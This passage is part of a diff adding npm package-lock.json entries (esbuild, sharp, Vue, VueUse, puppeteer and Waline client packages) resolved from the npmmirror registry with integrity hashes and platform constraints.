"https://registry.npmmirror.com/@esbuild/sunos-x64/-/sunos-x64-0.20.1.tgz", + "integrity": "sha512-ZnWEyCM0G1Ex6JtsygvC3KUUrlDXqOihw8RicRuQAzw+c4f1D66YlPNNV3rkjVW90zXVsHwZYWbJh3v+oQFM9Q==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-arm64/-/win32-arm64-0.20.1.tgz", + "integrity": "sha512-QZ6gXue0vVQY2Oon9WyLFCdSuYbXSoxaZrPuJ4c20j6ICedfsDilNPYfHLlMH7vGfU5DQR0czHLmJvH4Nzis/A==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-ia32/-/win32-ia32-0.20.1.tgz", + "integrity": "sha512-HzcJa1NcSWTAU0MJIxOho8JftNp9YALui3o+Ny7hCh0v5f90nprly1U3Sj1Ldj/CvKKdvvFsCRvDkpsEMp4DNw==", + "cpu": [ + "ia32" + ], + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.20.1", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-x64/-/win32-x64-0.20.1.tgz", + "integrity": "sha512-0MBh53o6XtI6ctDnRMeQ+xoCN8kD2qI1rY1KgF/xdWQwoFeKou7puvDfV8/Wv4Ctx2rRpET/gGdz3YlNtNACSA==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@img/sharp-darwin-arm64": { + "version": "0.33.2", + "resolved": "https://registry.npmmirror.com/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.33.2.tgz", + "integrity": "sha512-itHBs1rPmsmGF9p4qRe++CzCgd+kFYktnsoR1sbIAfsRMrJZau0Tt1AH9KVnufc2/tU02Gf6Ibujx+15qRE03w==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "glibc": ">=2.26", + "node": "^18.17.0 || ^20.3.0 || >=21.0.0", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + }, + "optionalDependencies": { + "@img/sharp-libvips-darwin-arm64": "1.0.1" + } + }, + "node_modules/@img/sharp-darwin-x64": { + "version": "0.33.2", + "resolved": "https://registry.npmmirror.com/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.33.2.tgz", + "integrity": "sha512-/rK/69Rrp9x5kaWBjVN07KixZanRr+W1OiyKdXcbjQD6KbW+obaTeBBtLUAtbBsnlTTmWthw99xqoOS7SsySDg==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "glibc": ">=2.26", + "node": "^18.17.0 || ^20.3.0 || >=21.0.0", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + }, + "optionalDependencies": { + "@img/sharp-libvips-darwin-x64": "1.0.1" + } + }, + "node_modules/@img/sharp-libvips-darwin-arm64": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.0.1.tgz", + "integrity": "sha512-kQyrSNd6lmBV7O0BUiyu/OEw9yeNGFbQhbxswS1i6rMDwBBSX+e+rPzu3S+MwAiGU3HdLze3PanQ4Xkfemgzcw==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "macos": ">=11", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + } + }, + "node_modules/@img/sharp-libvips-darwin-x64": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.0.1.tgz", + "integrity": "sha512-eVU/JYLPVjhhrd8Tk6gosl5pVlvsqiFlt50wotCvdkFGf+mDNBJxMh+bvav+Wt3EBnNZWq8Sp2I7XfSjm8siog==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "macos": ">=10.13", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + } + }, + "node_modules/@img/sharp-libvips-linux-arm": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.0.1.tgz", + "integrity": "sha512-FtdMvR4R99FTsD53IA3LxYGghQ82t3yt0ZQ93WMZ2xV3dqrb0E8zq4VHaTOuLEAuA83oDawHV3fd+BsAPadHIQ==", + "cpu": [ + "arm" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "glibc": ">=2.28", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + } + }, + "node_modules/@img/sharp-libvips-linux-arm64": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.0.1.tgz", + "integrity": "sha512-bnGG+MJjdX70mAQcSLxgeJco11G+MxTz+ebxlz8Y3dxyeb3Nkl7LgLI0mXupoO+u1wRNx/iRj5yHtzA4sde1yA==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "glibc": ">=2.26", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + } + }, + "node_modules/@img/sharp-libvips-linux-s390x": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.0.1.tgz", + "integrity": "sha512-3+rzfAR1YpMOeA2zZNp+aYEzGNWK4zF3+sdMxuCS3ey9HhDbJ66w6hDSHDMoap32DueFwhhs3vwooAB2MaK4XQ==", + "cpu": [ + "s390x" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "glibc": ">=2.28", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + } + }, + "node_modules/@img/sharp-libvips-linux-x64": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.0.1.tgz", + "integrity": "sha512-3NR1mxFsaSgMMzz1bAnnKbSAI+lHXVTqAHgc1bgzjHuXjo4hlscpUxc0vFSAPKI3yuzdzcZOkq7nDPrP2F8Jgw==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "glibc": ">=2.26", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + } + }, + "node_modules/@img/sharp-libvips-linuxmusl-arm64": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.0.1.tgz", + "integrity": "sha512-5aBRcjHDG/T6jwC3Edl3lP8nl9U2Yo8+oTl5drd1dh9Z1EBfzUKAJFUDTDisDjUwc7N4AjnPGfCA3jl3hY8uDg==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "musl": ">=1.2.2", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + } + }, + "node_modules/@img/sharp-libvips-linuxmusl-x64": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.0.1.tgz", + "integrity": "sha512-dcT7inI9DBFK6ovfeWRe3hG30h51cBAP5JXlZfx6pzc/Mnf9HFCQDLtYf4MCBjxaaTfjCCjkBxcy3XzOAo5txw==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "musl": ">=1.2.2", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + } + }, + "node_modules/@img/sharp-linux-arm": { + "version": "0.33.2", + "resolved": "https://registry.npmmirror.com/@img/sharp-linux-arm/-/sharp-linux-arm-0.33.2.tgz", + "integrity": "sha512-Fndk/4Zq3vAc4G/qyfXASbS3HBZbKrlnKZLEJzPLrXoJuipFNNwTes71+Ki1hwYW5lch26niRYoZFAtZVf3EGA==", + "cpu": [ + "arm" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "glibc": ">=2.28", + "node": "^18.17.0 || ^20.3.0 || >=21.0.0", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-arm": "1.0.1" + } + }, + "node_modules/@img/sharp-linux-arm64": { + "version": "0.33.2", + "resolved": "https://registry.npmmirror.com/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.33.2.tgz", + "integrity": "sha512-pz0NNo882vVfqJ0yNInuG9YH71smP4gRSdeL09ukC2YLE6ZyZePAlWKEHgAzJGTiOh8Qkaov6mMIMlEhmLdKew==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "glibc": ">=2.26", + "node": "^18.17.0 || ^20.3.0 || >=21.0.0", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-arm64": "1.0.1" + } + }, + "node_modules/@img/sharp-linux-s390x": { + "version": "0.33.2", + "resolved": "https://registry.npmmirror.com/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.33.2.tgz", + "integrity": "sha512-MBoInDXDppMfhSzbMmOQtGfloVAflS2rP1qPcUIiITMi36Mm5YR7r0ASND99razjQUpHTzjrU1flO76hKvP5RA==", + "cpu": [ + "s390x" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "glibc": ">=2.28", + "node": "^18.17.0 || ^20.3.0 || >=21.0.0", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-s390x": "1.0.1" + } + }, + "node_modules/@img/sharp-linux-x64": { + "version": "0.33.2", + "resolved": "https://registry.npmmirror.com/@img/sharp-linux-x64/-/sharp-linux-x64-0.33.2.tgz", + "integrity": "sha512-xUT82H5IbXewKkeF5aiooajoO1tQV4PnKfS/OZtb5DDdxS/FCI/uXTVZ35GQ97RZXsycojz/AJ0asoz6p2/H/A==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "glibc": ">=2.26", + "node": "^18.17.0 || ^20.3.0 || >=21.0.0", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + }, + "optionalDependencies": { + "@img/sharp-libvips-linux-x64": "1.0.1" + } + }, + "node_modules/@img/sharp-linuxmusl-arm64": { + "version": "0.33.2", + "resolved": "https://registry.npmmirror.com/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.33.2.tgz", + "integrity": "sha512-F+0z8JCu/UnMzg8IYW1TMeiViIWBVg7IWP6nE0p5S5EPQxlLd76c8jYemG21X99UzFwgkRo5yz2DS+zbrnxZeA==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "musl": ">=1.2.2", + "node": "^18.17.0 || ^20.3.0 || >=21.0.0", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + }, + "optionalDependencies": { + "@img/sharp-libvips-linuxmusl-arm64": "1.0.1" + } + }, + "node_modules/@img/sharp-linuxmusl-x64": { + "version": "0.33.2", + "resolved": "https://registry.npmmirror.com/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.33.2.tgz", + "integrity": "sha512-+ZLE3SQmSL+Fn1gmSaM8uFusW5Y3J9VOf+wMGNnTtJUMUxFhv+P4UPaYEYT8tqnyYVaOVGgMN/zsOxn9pSsO2A==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "musl": ">=1.2.2", + "node": "^18.17.0 || ^20.3.0 || >=21.0.0", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + }, + "optionalDependencies": { + "@img/sharp-libvips-linuxmusl-x64": "1.0.1" + } + }, + "node_modules/@img/sharp-wasm32": { + "version": "0.33.2", + "resolved": "https://registry.npmmirror.com/@img/sharp-wasm32/-/sharp-wasm32-0.33.2.tgz", + "integrity": "sha512-fLbTaESVKuQcpm8ffgBD7jLb/CQLcATju/jxtTXR1XCLwbOQt+OL5zPHSDMmp2JZIeq82e18yE0Vv7zh6+6BfQ==", + "cpu": [ + "wasm32" + ], + "optional": true, + "dependencies": { + "@emnapi/runtime": "^0.45.0" + }, + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + } + }, + "node_modules/@img/sharp-win32-ia32": { + "version": "0.33.2", + "resolved": "https://registry.npmmirror.com/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.33.2.tgz", + "integrity": "sha512-okBpql96hIGuZ4lN3+nsAjGeggxKm7hIRu9zyec0lnfB8E7Z6p95BuRZzDDXZOl2e8UmR4RhYt631i7mfmKU8g==", + "cpu": [ + "ia32" + ], + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + } + }, + "node_modules/@img/sharp-win32-x64": { + "version": "0.33.2", + "resolved": "https://registry.npmmirror.com/@img/sharp-win32-x64/-/sharp-win32-x64-0.33.2.tgz", + "integrity": "sha512-E4magOks77DK47FwHUIGH0RYWSgRBfGdK56kIHSVeB9uIS4pPFr4N2kIVsXdQQo4LzOsENKV5KAhRlRL7eMAdg==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0", + "npm": ">=9.6.5", + "pnpm": ">=7.1.0", + "yarn": ">=3.2.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.15", + "resolved": "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==" + }, + "node_modules/@minify-html/node": { + "version": "0.15.0", + "resolved": "https://registry.npmmirror.com/@minify-html/node/-/node-0.15.0.tgz", + "integrity": "sha512-ANzt6ZBiqtwrepVXRfa0Qn/woCkINFBjQEKiXyBmg7+51mIFQHVAUbAm6UHRrT0L3xoPG0BX0/XI3NqtjK8Vyg==", + "bin": { + "minify-html": "cli.js" + }, + "engines": { + "node": ">= 8.6.0" + }, + "optionalDependencies": { + "@minify-html/node-darwin-arm64": "0.15.0", + "@minify-html/node-darwin-x64": "0.15.0", + "@minify-html/node-linux-arm64": "0.15.0", + "@minify-html/node-linux-x64": "0.15.0", + "@minify-html/node-win32-x64": "0.15.0" + } + }, + "node_modules/@minify-html/node-darwin-x64": { + "version": "0.15.0", + "resolved": "https://registry.npmmirror.com/@minify-html/node-darwin-x64/-/node-darwin-x64-0.15.0.tgz", + "integrity": "sha512-D9M9UDku/8I5VEMS0gTLFFQK1DFXK8io+QZvR5cbya4u8NmdDQix/t3EyCR4Wgv/Gfk86gwIS+zfMSvuKcpb5A==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@minify-html/node-linux-x64": { + "version": "0.15.0", + "resolved": "https://registry.npmmirror.com/@minify-html/node-linux-x64/-/node-linux-x64-0.15.0.tgz", + "integrity": "sha512-cO893EV6O9ZHUFX+2Yge546OCo/eCiatjzJDmUmrPP56fQ7pzTRquHs4ko3t8Rg6tMKG7RT49mBuF09JWPnrgg==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@minify-html/node-win32-x64": { + "version": "0.15.0", + "resolved": "https://registry.npmmirror.com/@minify-html/node-win32-x64/-/node-win32-x64-0.15.0.tgz", + "integrity": "sha512-n92IFdtntchlUtyrq13pRI8TT3sOddbzuo4EPTSeocuTJMXaR77v0JYDu0fIjxXNawgGq6nBEeicxAcH4CbvUQ==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@puppeteer/browsers": { + "version": "1.9.1", + "resolved": "https://registry.npmmirror.com/@puppeteer/browsers/-/browsers-1.9.1.tgz", + "integrity": "sha512-PuvK6xZzGhKPvlx3fpfdM2kYY3P/hB1URtK8wA7XUJ6prn6pp22zvJHu48th0SGcHL9SutbPHrFuQgfXTFobWA==", + "dependencies": { + "debug": "4.3.4", + "extract-zip": "2.0.1", + "progress": "2.0.3", + "proxy-agent": "6.3.1", + "tar-fs": "3.0.4", + "unbzip2-stream": "1.4.3", + "yargs": "17.7.2" + }, + "bin": { + "browsers": "lib/cjs/main-cli.js" + }, + "engines": { + "node": ">=16.3.0" + } + }, + "node_modules/@puppeteer/browsers/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/@puppeteer/browsers/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/@tootallnate/quickjs-emscripten": { + "version": "0.23.0", + "resolved": "https://registry.npmmirror.com/@tootallnate/quickjs-emscripten/-/quickjs-emscripten-0.23.0.tgz", + "integrity": "sha512-C5Mc6rdnsaJDjO3UpGW/CQTHtCKaYlScZTly4JIu97Jxo/odCiH0ITnDXSJPTOrEKk/ycSZ0AOgTmkDtkOsvIA==" + }, + "node_modules/@types/dom-speech-recognition": { + "version": "0.0.1", + "resolved": "https://registry.npmmirror.com/@types/dom-speech-recognition/-/dom-speech-recognition-0.0.1.tgz", + "integrity": "sha512-udCxb8DvjcDKfk1WTBzDsxFbLgYxmQGKrE/ricoMqHRNjSlSUCcamVTA5lIQqzY10mY5qCY0QDwBfFEwhfoDPw==" + }, + "node_modules/@types/google.maps": { + "version": "3.55.4", + "resolved": "https://registry.npmmirror.com/@types/google.maps/-/google.maps-3.55.4.tgz", + "integrity": "sha512-Ip3IfRs3RZjeC88V8FGnWQTQXeS5gkJedPSosN6DMi9Xs8buGTpsPq6UhREoZsGH+62VoQ6jiRBUR8R77If69w==" + }, + "node_modules/@types/hogan.js": { + "version": "3.0.5", + "resolved": "https://registry.npmmirror.com/@types/hogan.js/-/hogan.js-3.0.5.tgz", + "integrity": "sha512-/uRaY3HGPWyLqOyhgvW9Aa43BNnLZrNeQxl2p8wqId4UHMfPKolSB+U7BlZyO1ng7MkLnyEAItsBzCG0SDhqrA==" + }, + "node_modules/@types/node": { + "version": "20.11.25", + "resolved": "https://registry.npmmirror.com/@types/node/-/node-20.11.25.tgz", + "integrity": "sha512-TBHyJxk2b7HceLVGFcpAUjsa5zIdsPWlR6XHfyGzd0SFu+/NFgQgMAl96MSDZgQDvJAvV6BKsFOrt6zIL09JDw==", + "optional": true, + "dependencies": { + "undici-types": "~5.26.4" + } + }, + "node_modules/@types/qs": { + "version": "6.9.12", + "resolved": "https://registry.npmmirror.com/@types/qs/-/qs-6.9.12.tgz", + "integrity": "sha512-bZcOkJ6uWrL0Qb2NAWKa7TBU+mJHPzhx9jjLL1KHF+XpzEcR7EXHvjbHlGtR/IsP1vyPrehuS6XqkmaePy//mg==" + }, + "node_modules/@types/web-bluetooth": { + "version": "0.0.20", + "resolved": "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.20.tgz", + "integrity": "sha512-g9gZnnXVq7gM7v3tJCWV/qw7w+KeOlSHAhgF9RytFyifW6AF61hdT2ucrYhPq9hLs5JIryeupHV3qGk95dH9ow==" + }, + "node_modules/@types/yauzl": { + "version": "2.10.3", + "resolved": "https://registry.npmmirror.com/@types/yauzl/-/yauzl-2.10.3.tgz", + "integrity": "sha512-oJoftv0LSuaDZE3Le4DbKX+KS9G36NzOeSap90UIK0yMA/NhKJhqlSGtNDORNRaIbQfzjXDrQa0ytJ6mNRGz/Q==", + "optional": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@unlazy/core": { + "version": "0.10.5", + "resolved": "https://registry.npmmirror.com/@unlazy/core/-/core-0.10.5.tgz", + "integrity": "sha512-zFWFBjsfBG68DgOO77ov/qpZEZ++qxVm86SHeY8WMLG897fzoajN1Tk9cjSe5z4hh/0bH5nqInLn+sqdkQ1vOg==" + }, + "node_modules/@vue/compiler-core": { + "version": "3.4.21", + "resolved": "https://registry.npmmirror.com/@vue/compiler-core/-/compiler-core-3.4.21.tgz", + "integrity": "sha512-MjXawxZf2SbZszLPYxaFCjxfibYrzr3eYbKxwpLR9EQN+oaziSu3qKVbwBERj1IFIB8OLUewxB5m/BFzi613og==", + "dependencies": { + "@babel/parser": "^7.23.9", + "@vue/shared": "3.4.21", + "entities": "^4.5.0", + "estree-walker": "^2.0.2", + "source-map-js": "^1.0.2" + } + }, + "node_modules/@vue/compiler-dom": { + "version": "3.4.21", + "resolved": "https://registry.npmmirror.com/@vue/compiler-dom/-/compiler-dom-3.4.21.tgz", + "integrity": "sha512-IZC6FKowtT1sl0CR5DpXSiEB5ayw75oT2bma1BEhV7RRR1+cfwLrxc2Z8Zq/RGFzJ8w5r9QtCOvTjQgdn0IKmA==", + "dependencies": { + "@vue/compiler-core": "3.4.21", + "@vue/shared": "3.4.21" + } + }, + "node_modules/@vue/compiler-sfc": { + "version": "3.4.21", + "resolved": "https://registry.npmmirror.com/@vue/compiler-sfc/-/compiler-sfc-3.4.21.tgz", + "integrity": "sha512-me7epoTxYlY+2CUM7hy9PCDdpMPfIwrOvAXud2Upk10g4YLv9UBW7kL798TvMeDhPthkZ0CONNrK2GoeI1ODiQ==", + "dependencies": { + "@babel/parser": "^7.23.9", + "@vue/compiler-core": "3.4.21", + "@vue/compiler-dom": "3.4.21", + "@vue/compiler-ssr": "3.4.21", + "@vue/shared": "3.4.21", + "estree-walker": "^2.0.2", + "magic-string": "^0.30.7", + "postcss": "^8.4.35", + "source-map-js": "^1.0.2" + } + }, + "node_modules/@vue/compiler-ssr": { + "version": "3.4.21", + "resolved": "https://registry.npmmirror.com/@vue/compiler-ssr/-/compiler-ssr-3.4.21.tgz", + "integrity": "sha512-M5+9nI2lPpAsgXOGQobnIueVqc9sisBFexh5yMIMRAPYLa7+5wEJs8iqOZc1WAa9WQbx9GR2twgznU8LTIiZ4Q==", + "dependencies": { + "@vue/compiler-dom": "3.4.21", + "@vue/shared": "3.4.21" + } + }, + "node_modules/@vue/reactivity": { + "version": "3.4.21", + "resolved": "https://registry.npmmirror.com/@vue/reactivity/-/reactivity-3.4.21.tgz", + "integrity": "sha512-UhenImdc0L0/4ahGCyEzc/pZNwVgcglGy9HVzJ1Bq2Mm9qXOpP8RyNTjookw/gOCUlXSEtuZ2fUg5nrHcoqJcw==", + "dependencies": { + "@vue/shared": "3.4.21" + } + }, + "node_modules/@vue/runtime-core": { + "version": "3.4.21", + "resolved": "https://registry.npmmirror.com/@vue/runtime-core/-/runtime-core-3.4.21.tgz", + "integrity": "sha512-pQthsuYzE1XcGZznTKn73G0s14eCJcjaLvp3/DKeYWoFacD9glJoqlNBxt3W2c5S40t6CCcpPf+jG01N3ULyrA==", + "dependencies": { + "@vue/reactivity": "3.4.21", + "@vue/shared": "3.4.21" + } + }, + "node_modules/@vue/runtime-dom": { + "version": "3.4.21", + "resolved": "https://registry.npmmirror.com/@vue/runtime-dom/-/runtime-dom-3.4.21.tgz", + "integrity": "sha512-gvf+C9cFpevsQxbkRBS1NpU8CqxKw0ebqMvLwcGQrNpx6gqRDodqKqA+A2VZZpQ9RpK2f9yfg8VbW/EpdFUOJw==", + "dependencies": { + "@vue/runtime-core": "3.4.21", + "@vue/shared": "3.4.21", + "csstype": "^3.1.3" + } + }, + "node_modules/@vue/server-renderer": { + "version": "3.4.21", + "resolved": "https://registry.npmmirror.com/@vue/server-renderer/-/server-renderer-3.4.21.tgz", + "integrity": "sha512-aV1gXyKSN6Rz+6kZ6kr5+Ll14YzmIbeuWe7ryJl5muJ4uwSwY/aStXTixx76TwkZFJLm1aAlA/HSWEJ4EyiMkg==", + "dependencies": { + "@vue/compiler-ssr": "3.4.21", + "@vue/shared": "3.4.21" + }, + "peerDependencies": { + "vue": "3.4.21" + } + }, + "node_modules/@vue/shared": { + "version": "3.4.21", + "resolved": "https://registry.npmmirror.com/@vue/shared/-/shared-3.4.21.tgz", + "integrity": "sha512-PuJe7vDIi6VYSinuEbUIQgMIRZGgM8e4R+G+/dQTk0X1NEdvgvvgv7m+rfmDH1gZzyA1OjjoWskvHlfRNfQf3g==" + }, + "node_modules/@vueuse/core": { + "version": "10.9.0", + "resolved": "https://registry.npmmirror.com/@vueuse/core/-/core-10.9.0.tgz", + "integrity": "sha512-/1vjTol8SXnx6xewDEKfS0Ra//ncg4Hb0DaZiwKf7drgfMsKFExQ+FnnENcN6efPen+1kIzhLQoGSy0eDUVOMg==", + "dependencies": { + "@types/web-bluetooth": "^0.0.20", + "@vueuse/metadata": "10.9.0", + "@vueuse/shared": "10.9.0", + "vue-demi": ">=0.14.7" + } + }, + "node_modules/@vueuse/core/node_modules/vue-demi": { + "version": "0.14.7", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.7.tgz", + "integrity": "sha512-EOG8KXDQNwkJILkx/gPcoL/7vH+hORoBaKgGe+6W7VFMvCYJfmF2dGbvgDroVnI8LU7/kTu8mbjRZGBU1z9NTA==", + "hasInstallScript": true, + "bin": { + "vue-demi-fix": "bin/vue-demi-fix.js", + "vue-demi-switch": "bin/vue-demi-switch.js" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "@vue/composition-api": "^1.0.0-rc.1", + "vue": "^3.0.0-0 || ^2.6.0" + }, + "peerDependenciesMeta": { + "@vue/composition-api": { + "optional": true + } + } + }, + "node_modules/@vueuse/metadata": { + "version": "10.9.0", + "resolved": "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-10.9.0.tgz", + "integrity": "sha512-iddNbg3yZM0X7qFY2sAotomgdHK7YJ6sKUvQqbvwnf7TmaVPxS4EJydcNsVejNdS8iWCtDk+fYXr7E32nyTnGA==" + }, + "node_modules/@vueuse/shared": { + "version": "10.9.0", + "resolved": "https://registry.npmmirror.com/@vueuse/shared/-/shared-10.9.0.tgz", + "integrity": "sha512-Uud2IWncmAfJvRaFYzv5OHDli+FbOzxiVEQdLCKQKLyhz94PIyFC3CHcH7EDMwIn8NPtD06+PNbC/PiO0LGLtw==", + "dependencies": { + "vue-demi": ">=0.14.7" + } + }, + "node_modules/@vueuse/shared/node_modules/vue-demi": { + "version": "0.14.7", + "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.7.tgz", + "integrity": "sha512-EOG8KXDQNwkJILkx/gPcoL/7vH+hORoBaKgGe+6W7VFMvCYJfmF2dGbvgDroVnI8LU7/kTu8mbjRZGBU1z9NTA==", + "hasInstallScript": true, + "bin": { + "vue-demi-fix": "bin/vue-demi-fix.js", + "vue-demi-switch": "bin/vue-demi-switch.js" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "@vue/composition-api": "^1.0.0-rc.1", + "vue": "^3.0.0-0 || ^2.6.0" + }, + "peerDependenciesMeta": { + "@vue/composition-api": { + "optional": true + } + } + }, + "node_modules/@waline/api": { + "version": "1.0.0-alpha.7", + "resolved": "https://registry.npmmirror.com/@waline/api/-/api-1.0.0-alpha.7.tgz", + "integrity": "sha512-IcMah3Li+ueS2Wr0Odd9Ri/PPh1ePOdHLE4CAw1KZNPgNTeLw0lFak/+B4ttVZuW8eFq7DTSmxoUFHGLhi8WoQ==", + "engines": { + "node": ">=18" + } + }, + "node_modules/@waline/client": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/@waline/client/-/client-3.1.3.tgz", + "integrity": "sha512-jYSuu6Xihsz9Bg9YTXEwUho2vu3FXzxc+y3c3PscO8pYpShtVhrsVF9fzdpfKyh/FDIKa5BpCBOTkigMb2NK3A==", + "dependencies": { + "@vueuse/core": "^10.8.0", + "@waline/api": "1.0.0-alpha.7", + "autosize": "^6.0.1", + "marked": "^12.0.0", + "marked-highlight": "^2.1.1", + "recaptcha-v3": "^1.10.0", + "vue": "^3.4.19" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@waline/client/node_modules/marked": { + "version": "12.0.1", + "resolved": "https://registry.npmmirror.com/marked/-/marked-12.0.1.tgz", + "integrity": "sha512-Y1/V2yafOcOdWQCX0XpAKXzDakPOpn6U0YLxTJs3cww6VxOzZV1BTOOYWLvH3gX38cq+iLwljHHTnMtlDfg01Q==", + "bin": { + "marked": "bin/marked.js" + }, + "engines": { + 